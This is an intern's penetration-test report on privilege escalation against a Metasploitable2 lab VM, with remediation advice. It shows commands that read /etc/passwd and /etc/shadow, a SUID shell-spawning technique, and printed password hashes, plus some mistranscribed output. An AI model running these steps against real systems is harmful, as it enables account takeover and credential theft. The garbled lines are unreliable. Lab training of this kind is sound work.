

MAINCRAFTS TECHNOLOGY

Privilege Escalation & Post-Exploitation Report

Task-5: Privilege Escalation & Post-Exploitation Techniques

Target System: Metasploitable2

Deployment: VirtualBox VM, Host-Only Network (Target IP: 192.168.1.3)

Classification: Internal / Lab Use Only

Prepared by: Souvik Das

Role: Cybersecurity Intern

Report Date: July 26, 2026

Table of Contents

- 1. Test Environment.....3
- 2. Privilege Escalation Explanation3
- 3. Enumeration Results.....3
- 4. Exploitation Steps4
 - 4.1 Misconfiguration Exploitation (Sudo & SUID).....4
 - 4.2 Password & Credential Access4
 - 4.3 Post-Exploitation Findings5
- 5. Final Report Summary5
- Appendix A: Screenshot Index.....7

1. Test Environment

Metasploitable2 was used as the target system for this task, run as a VirtualBox virtual machine on a Host-Only network shared with the Kali Linux attack host, keeping it fully isolated from any external network.

- Attacker host: Kali Linux
- Target system: Metasploitable2 (Ubuntu 8.04-based), VirtualBox VM
- Target IP address: 192.168.1.3 (host-only network)
- Access method: SSH login using Metasploitable2's documented default credentials (msfadmin / msfadmin)

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:9a:02:e2
          inet addr:192.168.1.3  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9a:2e2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:37 errors:0 dropped:0 overruns:0 frame:0
          TX packets:66 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5218 (5.0 KB)  TX bytes:6884 (6.7 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:91 errors:0 dropped:0 overruns:0 frame:0
          TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:19301 (18.8 KB)  TX bytes:19301 (18.8 KB)

msfadmin@metasploitable:~$ _
```

2. Privilege Escalation Explanation

What it is: Privilege escalation is the process of gaining a higher level of access on a system than was originally granted — for example, moving from a standard, low-privilege user account to full administrative (root) control.

Types: Vertical escalation moves a user to a higher privilege level on the same system (e.g. a standard user becoming root). Horizontal escalation moves between accounts of similar privilege (e.g. accessing another standard user's data or session) without necessarily gaining higher rights.

Why it is critical: Initial access to a system — through a phishing email, a vulnerable web application, or, as in this task, weak default credentials — rarely gives an attacker everything they need. Sensitive data, system-wide configuration, and the ability to persist or move laterally almost always require elevated privileges. Privilege escalation is therefore the pivotal step that turns a minor foothold into a full system compromise, which is why it sits at the center of every real-world attack chain: reconnaissance, initial access, privilege escalation, lateral movement, and exfiltration.

Real-world examples: Attackers regularly chain a low-severity initial access vector with a local privilege escalation bug to achieve full compromise — for instance, using a web application vulnerability to obtain a low-privilege web-server shell (as demonstrated in Task-4), then exploiting an outdated kernel, a misconfigured sudo rule, or an abusible SUID

binary (as demonstrated in this task) to become root. This exact chain — outdated kernel plus an overly permissive sudo configuration — mirrors real incidents where legacy, unpatched Linux servers were fully compromised from a single weak account.

3. Enumeration Results

Initial access was obtained via SSH using Metasploitable2's default account (msfadmin / msfadmin). From this shell, the following enumeration commands were run to identify the current user context and system-level weaknesses:

- `whoami` — confirmed the current user as msfadmin
- `id` — `uid=1000(msfadmin) gid=1000(msfadmin), groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)`
- `uname -a` — `Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux` — an extremely outdated kernel, nearly two decades old at the time of testing
- `sudo -l` — "User msfadmin may run the following commands on this host: (ALL) ALL" — meaning msfadmin can run any command as any user, including root, with no restriction

```
(peter@kali)~$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubKeyAcceptedAlgorithms=+ssh-rsa msfadmin@192.168.1.3
The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established.
RSA key fingerprint is: SHA256:BQhm5EoHX9GCI0LuVscgPXLQ0suPs+E9d/rzJB84rk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.3' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
msfadmin@192.168.1.3's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sun Jul 26 04:21:52 2026
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@metasploitable:~$ sudo -l
[sudo] password for msfadmin:
User msfadmin may run the following commands on this host:
(ALL) ALL
msfadmin@metasploitable:~$
```

These results identified two independent weaknesses worth pursuing: the outdated kernel (a known source of public local privilege escalation exploits) and, more directly, the unrestricted sudo rule, which was used as the primary escalation path in Section 4.

4. Exploitation Steps

4.1 Misconfiguration Exploitation (Sudo & SUID)

Unrestricted Sudo Rule (ALL:ALL)

Steps Taken: The `sudo -l` enumeration in Section 3 showed msfadmin has unrestricted sudo rights. Since the account's password was already known (msfadmin / msfadmin), this rule was used directly to execute commands as root — for example, `sudo cat /etc/shadow` (see Section 4.2) — successfully reading a file that only root can normally access.

Result: Root-equivalent command execution confirmed.

SUID Binary Enumeration

Steps Taken: Ran `find / -perm -4000 2>/dev/null` to list every SUID binary on the system. This returned a large set of setuid executables, including `/usr/bin/nmap`, `/usr/bin/passwd`, `/usr/bin/sudo`, `/bin/su`, and several others.

```
-bash: /home/msfadmin/lab/tasks/enumeration/enum-results.txt: No such file or directory
msfadmin@metasploitable:~$ find / -perm -4000 2>/dev/null
/bin/umount
/bin/fusemount
/bin/su
/bin/mount
/bin/ping
/bin/pings
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuid
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
msfadmin@metasploitable:~$
```

GTFOBins Cross-Check: Several of the discovered binaries — notably `nmap` in older versions — are documented on GTFOBins as usable to spawn an elevated shell when their SUID bit is set.

Attempted SUID Shell Escalation (find)

Steps Taken: Ran `find . -exec /bin/sh -p \; -quit`, the standard GTFOBins technique for a SUID-set `find` binary. A new shell session was spawned.

```
msfadmin@metasploitable:~$ find . -exec /bin/sh -p \; -quit
sh-3.2$
sh-3.2$
```

Result: A new shell session was returned. Note: `/usr/bin/find` was not present in the SUID binary list captured in this task, so this specific attempt could not be confirmed to have provided elevated privileges — it is documented here as the technique attempted; the confirmed escalation for this engagement is the `sudo` rule above.

4.2 Password & Credential Access

Reading `/etc/passwd`

Steps Taken: Ran `cat /etc/passwd` to list all system and user accounts.

Result: Returned every account on the system (`root`, `daemon`, `bin`, `sys`, `msfadmin`, `postgres`, `mysql`, `tomcat55`, `distccd`, `user`, `service`, `telnetd`, `proftpd`, and others) with their home directories and shells.

```

Session Actions Edit View Help
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/ject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
msfadmin@metasploitable:~$ find . -exec /bin/sh -p \; -quit
sh-3.2$
sh-3.2$ exit
exit
msfadmin@metasploitable:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mail list Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuid:x:100:101::/var/lib/libuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/ssh:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115:/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002::,/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
msfadmin@metasploitable:~$

```

Reading /etc/shadow (Root-Level Access)

Steps Taken: Using the sudo rule from Section 4.1, ran `sudo cat /etc/shadow`.

Result: Returned the password hash entries for every account on the system, including root, using the \$1\$ (MD5-crypt) hash format. Successfully reading this file — normally restricted to root — is the direct proof of root-level access obtained in this task.

```

msfadmin@metasploitable:~$ sudo cat /etc/shadow
root:$1$/vPFB1$X0Z8u0P9iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$UX68P0t$Myc3Up0zQJqz4s5WFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuid:*:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$72Ym54S80xk1:Col.dHdUE3X9jqP8:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$N102j2c$Rt/zcW3mLTUWA.1h2jAS/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$w35lk4$MgQg2Uu05Pa0uVfJhfCYe/:14685:0:99999:7:::
mysql:*:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$H5d0m7r8k:c309300nXIqKkPwlgZ0:14699:0:99999:7:::
service:$1$kr3ue7J2$7GxELDu9r50hp6cJ23Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:*:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
msfadmin@metasploitable:~$

```

4.3 Post-Exploitation Findings

Configuration File Enumeration

Steps Taken: Ran `find / -name "*.conf" 2>/dev/null | grep -v proc` to enumerate configuration files system-wide.

Result: Alongside expected system files, this revealed application-specific configuration and template files belonging to TWiki and TikiWiki installations (including password-reset and password-change templates), confirming these applications are installed on the target.

```

Session Actions Edit View Help
msfadmin@metasploitable:~$ find / -name "*.conf" 2>/dev/null | grep -v proc
/usr/share/alsa/alsa.conf
/usr/share/alsa/emulver.conf
/usr/share/alsa/pcm/dmnoop.conf
/usr/share/alsa/pcm/surround51.conf
/usr/share/alsa/pcm/default.conf
/usr/share/alsa/pcm/iec958.conf
/usr/share/alsa/pcm/front.conf
/usr/share/alsa/pcm/surround41.conf
/usr/share/alsa/pcm/surround71.conf
/usr/share/alsa/pcm/dpl.conf
/usr/share/alsa/pcm/modem.conf
/usr/share/alsa/pcm/surround59.conf
/usr/share/alsa/pcm/side.conf
/usr/share/alsa/pcm/surround48.conf
/usr/share/alsa/pcm/center_lfe.conf
/usr/share/alsa/pcm/rear.conf
/usr/share/alsa/pcm/dmix.conf
/usr/share/alsa/cards/PMC962.conf
/usr/share/alsa/cards/HDA-Intel.conf
/usr/share/alsa/cards/ICE1712.conf
/usr/share/alsa/cards/VIA808A.conf
/usr/share/alsa/cards/VIA8237.conf
/usr/share/alsa/cards/Aureon51.conf
/usr/share/alsa/cards/VXPocket48.conf
/usr/share/alsa/cards/CMI1041.conf
/usr/share/alsa/cards/Maestro3.conf
/usr/share/alsa/cards/ICE1724.conf
/usr/share/alsa/cards/CAD106.conf
/usr/share/alsa/cards/CS60x1.conf
/usr/share/alsa/cards/CMI8788.conf
/usr/share/alsa/cards/ICH4.conf
/usr/share/alsa/cards/PC-Speaker.conf
/usr/share/alsa/cards/VIA8233A.conf
/usr/share/alsa/cards/TRID40MAVENX.conf
/usr/share/alsa/cards/CMI8738-AC97.conf
/usr/share/alsa/cards/USB-Audio.conf
/usr/share/alsa/cards/VME744.conf
/usr/share/alsa/cards/ENS1371.conf
/usr/share/alsa/cards/VXPocket.conf
/usr/share/alsa/cards/PMac.conf
/usr/share/alsa/cards/NFORCE.conf
/usr/share/alsa/cards/CMI1043X.conf
/usr/share/alsa/cards/AU8820.conf
/usr/share/alsa/cards/ICH-MODEM.conf
/usr/share/alsa/cards/PMC966.conf
/usr/share/alsa/cards/AU8810.conf
/usr/share/alsa/cards/ES1968.conf
/usr/share/alsa/cards/CMI8388.conf
/usr/share/alsa/cards/Aureon71.conf
/usr/share/alsa/cards/PMacToonie.conf

```

MySQL Configuration Disclosure

Steps Taken: Ran `cat /etc/mysql/my.cnf`.

Result: Returned the MySQL server's client and server configuration blocks, including the listening port (3306), socket path, and includedir setting — useful information for targeting the database service directly.

```

Session Actions Edit View Help
/var/www/tikiwiki/templates/oopswrongpassword.tpl
/var/www/tikiwiki/tiki-remind_password.php
/var/www/tikiwiki/tiki-change_password.php
/var/www/tikiwiki/templates/mail/password_reminder.tpl
/var/www/tikiwiki/templates/mail/password_reminder_subject.tpl
/var/www/tikiwiki/templates/tiki-change_password.tpl
/var/www/tikiwiki/templates/tiki-remind_password.tpl
msfadmin@metasploitable:~$ cat /etc/mysql/my.cnf 2>/dev/null
#
# The MySQL database server configuration file.
#
# You can copy this to one of:
# - "/etc/mysql/my.cnf" to set global options,
# - "--my.cnf" to set user-specific options.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html
#
# This will be passed to all mysql clients
# It has been reported that passwords should be enclosed with ticks/quotes
# especially if they contain '#' chars...
# Remember to edit /etc/mysql/debian.cnf when changing the socket location.
[client]
port                = 3306
socket              = /var/run/mysql/mysql.sock
#
# Here is entries for some specific programs
# The following values assume you have at least 32M ram
#
# This was formally known as [safe_mysqld]. Both versions are currently parsed.
[mysqld_safe]
socket              = /var/run/mysql/mysql.sock
nice                = 0
#
[mysqld]
#
# * Basic Settings
#
# * IMPORTANT
# If you make changes to these settings and your system uses apparmor, you may
# also need to also adjust /etc/apparmor.d/usr.bin.mysqld.
#
user                = mysql
pid-file            = /var/run/mysql/mysql.pid

```

Root Home Directory & Sensitive Artifacts

Steps Taken: Ran `ls -la /root/` and `ls -la /home/` to inspect the root account's home directory and other user home directories.

Result: Found a `.rhosts` file (a legacy, insecure host-based trust-authentication mechanism), a `.vnc` directory with `vnc.log` (indicating VNC remote access is configured for root), and a root-owned `reset_logs.sh` script. Also noted that `.bash_history` is symlinked to `/dev/null`, meaning root's command history is never retained. The `/home/` listing showed `msfadmin`, `service`, `user`, and `ftp` home directories.

```

Session Actions Edit View Help
key_buffer = 16M

#
# * NDB Cluster
#
# See /usr/share/doc/mysql-server-*/README.Debian for more information.
#
# The following configuration is read by the NDB Data Nodes (ndbd processes)
# not from the NDB Management Nodes (ndb_mgmd processes).
#
[MYSQL_CLUSTER]
ndb-connectstring=127.0.0.1

#
# * IMPORTANT: Additional settings that can override those from this file!
# The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/

msfadmin@metasploitable:~$ ls -la /root/
total 76
drwxr-xr-x 13 root root 4096 2026-07-26 04:21 .
drwxr-xr-x 21 root root 4096 2012-05-20 14:36 ..
lrwxrwxrwx 1 root root 9 2012-05-14 00:26 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 2007-10-20 07:51 .bashrc
drwx----- 3 root root 4096 2012-05-20 15:08 .config
drwxr-xr-x 2 root root 4096 2012-05-20 15:08 Desktop
drwx----- 2 root root 4096 2012-05-20 15:13 .filezilla
drwxr-xr-x 5 root root 4096 2026-07-26 04:21 fluxbox
drwx----- 2 root root 4096 2012-05-20 15:38 .gconf
drwx----- 2 root root 4096 2012-05-20 15:40 .gconfd
drwxr-xr-x 2 root root 4096 2012-05-20 15:00 .gstalker-0.10
drwx----- 4 root root 4096 2012-05-20 15:07 .mozilla
-rw-r--r-- 1 root root 141 2007-10-20 07:51 .profile
drwx----- 5 root root 4096 2012-05-20 15:11 .purple
-rwx----- 1 root root 401 2012-05-20 15:55 reset_logs.sh
-rwx----- 1 root root 4 2012-05-20 14:25 .rhosts
drwxr-xr-x 2 root root 4096 2012-05-20 16:21 .ssh
drwx----- 2 root root 4096 2026-07-26 04:21 .vnc
-rw-r--r-- 1 root root 138 2026-07-26 04:21 .vnc.log
-rw----- 1 root root 324 2026-07-26 04:21 .xauthority
msfadmin@metasploitable:~$ ls -la /home/
total 24
drwxr-xr-x 6 root root 4096 2010-04-16 02:16 .
drwxr-xr-x 21 root root 4096 2012-05-20 14:26 ..
drwxr-xr-x 2 root nogroup 4096 2010-03-17 10:08 ftp
drwxr-xr-x 5 msfadmin msfadmin 4096 2012-05-20 14:22 msfadmin
drwxr-xr-x 2 service service 4096 2010-04-16 02:16 service
drwxr-xr-x 3 user user 4096 2010-05-07 14:38 user
msfadmin@metasploitable:~$

```

5. Final Report Summary

This section summarizes the full compromise simulation performed in this task, as required: initial access method, escalation steps, proof of root/admin access, impact analysis, and remediation.

Stage	Detail
Initial Access Method	SSH login to 192.168.1.3 using Metasploitable2's default credentials, msfadmin / msfadmin.
Escalation Steps	Enumeration (whoami, id, uname -a, sudo -l) identified an unrestricted sudo rule (ALL:ALL) for msfadmin. This rule was used directly, with the already-known account password, to execute commands as root. A SUID-based escalation attempt via find was also carried out but not confirmed to have elevated privileges.
Proof of Root Access	sudo cat /etc/shadow succeeded, returning password hashes for every account on the system — a file readable only by root, confirming root-equivalent access was obtained.
Data Extracted	Full account listings (/etc/passwd), full password hash listings (/etc/shadow), MySQL server configuration, TWiki/TikiWiki application configuration, and sensitive artifacts in /root/ (.rhosts, VNC configuration, reset_logs.sh).

Impact Analysis

The unrestricted sudo rule, combined with the target's default credentials, gave immediate and complete root access with no further exploitation needed — meaning any attacker who obtained or guessed the msfadmin password could fully compromise the system in two commands. The outdated kernel and exposed SUID binaries provide independent, redundant paths to the same outcome even if the sudo rule were fixed. Once root access was obtained, the exposed /etc/shadow file would allow offline password cracking against every account on the system, and the artifacts found

in /root/ (.rhosts, VNC access, a log-clearing script) would give an attacker multiple options for maintaining persistent, harder-to-detect access.

Remediation

- Disable or change the default msfadmin account and enforce strong, unique credentials for every account.
- Apply the principle of least privilege to sudo rules — grant only the specific commands each account genuinely needs, never a blanket ALL:ALL grant.
- Apply current kernel patches and maintain a regular patch-management cadence.
- Remove the SUID bit from binaries that do not require it (e.g. nmap); audit SUID binaries against GTF0Bins during system hardening.
- Remove .rhosts-based trust authentication in favor of key-based SSH, and restrict or disable root VNC access.
- Restrict filesystem read access to application configuration files and avoid storing credentials in plaintext configs.

Appendix A: Screenshot Index

The following screenshots accompany this report as a separate evidence folder submission. Insert each file at its corresponding placeholder marked throughout Sections 1 and 4 of this report.

Screenshot File	Description
metasploitable_2__1_.png	Metasploitable2 boot console showing the msfadmin shell prompt.
metasploitable_2__2_.png	ifconfig output confirming target IP address 192.168.1.3.
01_sucessfull_enumuration.png	SSH login and enumeration commands (whoami, id, uname -a, sudo -l) confirming the sudo ALL:ALL misconfiguration.
02_Suid.png	Full SUID binary enumeration via find / -perm -4000.
cut_the_last_small_part.png	Attempted find-based SUID shell escalation technique.
04_etc_passwd.png	/etc/passwd output listing all system and user accounts.
05_etc_shawdow.png	/etc/shadow output confirming root-level access and full password hash disclosure.
Screenshot_2026-07-26_09_40_50.png	System-wide *.conf enumeration revealing TWiki/TikiWiki application files.
Screenshot_2026-07-26_09_43_32.png	/etc/mysql/my.cnf configuration file contents.
Screenshot_2026-07-26_09_43_35.png	/root/ and /home/ directory listings showing .rhosts, VNC artifacts, and reset_logs.sh.